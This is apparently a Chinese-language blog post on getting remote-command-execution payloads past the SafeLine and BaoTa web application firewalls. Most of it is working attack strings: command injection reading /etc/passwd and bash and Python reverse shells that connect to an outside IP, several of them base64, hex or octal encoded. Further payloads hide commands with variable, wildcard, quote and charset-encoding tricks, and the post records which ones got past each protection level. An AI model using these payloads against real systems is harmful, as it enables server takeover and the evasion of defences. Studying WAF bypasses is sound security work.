bypass waf測試_rce

小新07發表於2024-10-25

前言

以下驗證繞過效果都使用開源雷池waf

知己知彼百戰百勝,想bypass waf還是得先了解waf

waf是什麼

WAF(WebApplicationFirewall,WEB應用防火牆)會過濾和監測 Web 應用程式與網際網路之間的 HTTP/HTTPS 流量,以此來保護 Web 應用程式安全。它通常會保護 Web 應用程式免受各種形式的攻擊,例如跨站點指令碼 (XSS)、檔案包含以及 SQL 注入等。

waf的分類:

硬WAF、雲WAF、軟WAF、程式碼層WAF

waf的工作原理:

使用者對網站伺服器發出請求後,雷池waf先於伺服器接收流量,過濾後的流量再轉發給伺服器。

引用雷池waf手冊的一張圖

本文使用雷池waf進行實驗,連結:https://waf-ce.chaitin.cn/docs/

官方提供語義分析技術解析以及繞過思路:

https://stack.chaitin.com/techblog/detail/80

二、rce繞過嘗試

先嚐試繞過rce,rce應該好繞一點,特別是linux命令特性比較多

嘗試cat /etc/passwd發現攔截

使用未初始化的變數繞過

在Linux中,可以利用Bash的未初始化變數來逃避Waf的檢測。未初始化的變數會被視為一個空字串。如果你嘗試引用一個未初始化的變數 $u,它不會報錯,而是會返回一個空值。

cat /etc/passwd

在平衡防護時可以繞過,高強度防護時被攔截

cat /etc$u/passwd$u

wget

wget命令在平衡防護和高強度防護都可以繞過

bash反彈shell

被攔截:127.0.0.1 | /bin/bash -i >& /dev/tcp/0.0.0.0/5003 0>&1

高強度防護放行127.0.0.1 | /bin$u/bash$u -i$u >&$u /dev$u/tcp$u/xx.xx.xx.xx$u/5003$u 0>&1$u

但是bash命令反彈shell無反應,考慮可能許可權不夠,/tmp下有可寫可執行許可權,寫個反彈指令碼在tmp

先探測是否存在tmp命令

127.0.0.1 | (cd /tmp && ls)

把反彈命令寫入寫入tmp目錄

127.0.0.1 | echo$u "/bin$u/bash$u -i$u >&$u /dev$u/tcp$u/0.0.0.0$u/5003$u 0>&1$u" > /tmp/2.sh

本地測試加$u的命令寫入檔案可以執行

被攔截:127.0.0.1 | (cd /tmp && ls -al)

高強度防護繞過127.0.0.1 | (cd /tmp && ls$u -al)

可以看到檔案許可權新增成功

被攔截:127.0.0.1 | bash$u /tmp$u/2.sh$u

高強度防護繞過127.0.0.1 | /bin$u/bash$u /tmp/2.sh

上線成功

使用$u注意:

發現寫入的ip是殘缺的,發現我寫入的語句是

127.0.0.1 | echo$u "/bin$u/bash$u -i$u >&$u /dev$u/tcp$U/$u121.0.0.0/5003$u 0>&1$u" > /tmp/2.sh

$u在數字或者字串前面,後面的數字和字串就會被忽略,其他地方同理,所以$u需要載入一個完整命令的最後

在符號前面加$u,符號是不會被省略的

python反彈shell

暫時沒繞過去,看看後面結合其他方法能不能繞過

python$u -c$u 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",5003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

符號繞過

1.萬用字元

cat

*   代表『 0 個到無窮多個』任意字元
?   代表『一定有一個』任意字元
[ ] 同樣代表『一定有一個在括號內』的字元(非任意字元)。例如 [abcd] 代表『一定有一個字元, 可能是 a, b, c, d 這四個任何一個』
[ - ]   若有減號在中括號內時,代表『在編碼順序內的所有字元』。例如 [0-9] 代表 0 到 9 之間的所有數字,因為數字的語系編碼是連續的!
[^ ]    若中括號內的第一個字元為指數符號 (^) ,那表示『反向選擇』,例如 [^abc] 代表 一定有一個字元,只要是非 a, b, c 的其他字元就接受的意思。

高強度防護繞過:127.0.0.1 | /b?n/c?t /???/pass*

有個小坑:c?t或者?at是沒辦法執行的,因為c?t有好幾個命令適用,系統不清楚你想使用哪個,所以需要加上命令的絕對路徑/b?n/c?t

反彈shell

高強度防護繞過(寶塔也可以):127.0.0.1 |/b?n/b*h -i >& /dev/tcp/xx.xx.xx.xx/5003 0>&1

2.'連線符

在bash的操作環境中還有一個非常有用的功能,那就是連線符

'c'a't' /'e't'c'/'p'a's's'w'd 每個單引號括起來的字元會被逐一拼接起來

這樣看比較直觀,命令注意閉合

高強度防護可繞過:127.0.0.1 | 'c'a't' /'e't'c'/'p'a's's'w'd

反彈shell

無法繞過:<font style="color:rgb(18, 18, 18);">/'b'i'n'/b'a's'h' -i >& /d'e'v/t'c'p/162.251.94.247/50000 0>&1</font>

3."連線符

和'連線符同理

高強度防護繞過:127.0.0.1 | "c"a"t" /"e"t"c"/"p"a"s"s"w"d

反彈shell

無法繞過:/"b"i"n"/b"a"s"h" -i >& /d"e"v/t"c"p/xx.xx.xx.xx/5003 0>&1

4.\轉義符

反斜槓(\)在Shell中是跳脫字元,用來忽略後面字元的特殊含義。然而,當反斜槓出現在普通字母前時(如i、n等),這些字母本身並沒有特殊含義,所以反斜槓沒有實際作用。每個轉義後的字母依然是原來的字母。

繞過失敗:127.0.0.1 | c\a\t /\e\t\c/p\a\s\s\w\d

5.$*繞過

c$*at%20/et$*c/p$*as$*s$*wd

字符集編碼繞過

修改請求header中的Content-Type去使用不同得字符集編碼,例如charset=ibm500,未配置為檢測不同編碼的惡意負載的 WAF 可能無法將請求識別為惡意請求。

可以使用python進行字符集編碼。

import urllib.parse

#s = '127.0.0.1 | python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",5003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\''
# First, encode the string using the appropriate encoding
s = '127.0.0.1 | ls'
try:
    encoded_bytes = s.encode('IBM500')
    # Then, URL encode the resulting bytes
    url_encoded_string = urllib.parse.quote_plus(encoded_bytes)
    print(url_encoded_string)
except Exception as e:
    print(f"An error occurred: {e}")

在發包時payload替換成編碼後的payload,且修改content-type,

Content-Type: application/x-www-form-urlencoded; charset=cp875

但是隻有部分情況可用

緩衝區溢位繞過

還是被攔截

編碼繞過

雷池的編碼效果不太行,對寶塔的效果還不錯

base64

平衡防護繞過127.0.0.1 | echo 'Y2F0IC9ldGMvcGE=' | b"a"s"e"6"4" -dsswd

反彈shell

平衡防護繞過(寶塔):127.0.0.1 | echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE2Mi4yNTEuOTQuMjQ3LzUwMDAwIDA+JjE=' | b"a"s"e"6"4" -d | sh

繞過寶塔:127.0.0.1 | echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE2Mi4yNTEuOTQuMjQ3LzUwMDAwIDA+JjE=' | b"a"s"e"6"4" -d |$u bash

十六進位制

無法繞過:echo "2f62696e2f62617368202d69203e26202f6465762f7463702f3136322e3235312e3934372f3530303020303e262031" | xxd -r -p | bash

反彈shell

無法繞過(寶塔可以):127.0.0.1 | echo "2f62696e2f62617368202d69203e26202f6465762f7463702f3136322e3235312e39342e3234372f353030303020303e2631"| xxd -r -p | sh

繞過寶塔:127.0.0.1 | echo "2f62696e2f62617368202d69203e26202f6465762f7463702f3136322e3235312e39342e3234372f353030303020303e2631"| xxd -r -p |$u bash

八進位制

無法繞過:127.0.0.1 | **$(**printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144\012")

反彈shell:

127.0.0.1 | $(printf "\057\142\151\156\057\142\141\163\150\040\055\151\040\076\046\040\057\144\145\166\057\164\143\160\057\061\066\062\056\062\065\061\056\071\064\056\062\064\067\057\065\060\060\060\060\040\060\076\046\061")

繞過寶塔:127.0.0.1 | printf "\057\142\151\156\057\142\141\163\150\040\055\151\040\076\046\040\057\144\145\166\057\164\143\160\057\061\066\062\056\062\065\061\056\071\064\056\062\064\067\057\065\060\060\060\060\040\060\076\046\061"|$u bash

空格繞過

在bash下可以用$IFS、${IFS}、$IFS$9、<、>、<>、%09(在URL上使用較多)、%20(space)

雷池沒攔截空格,只能本地測試了

相關文章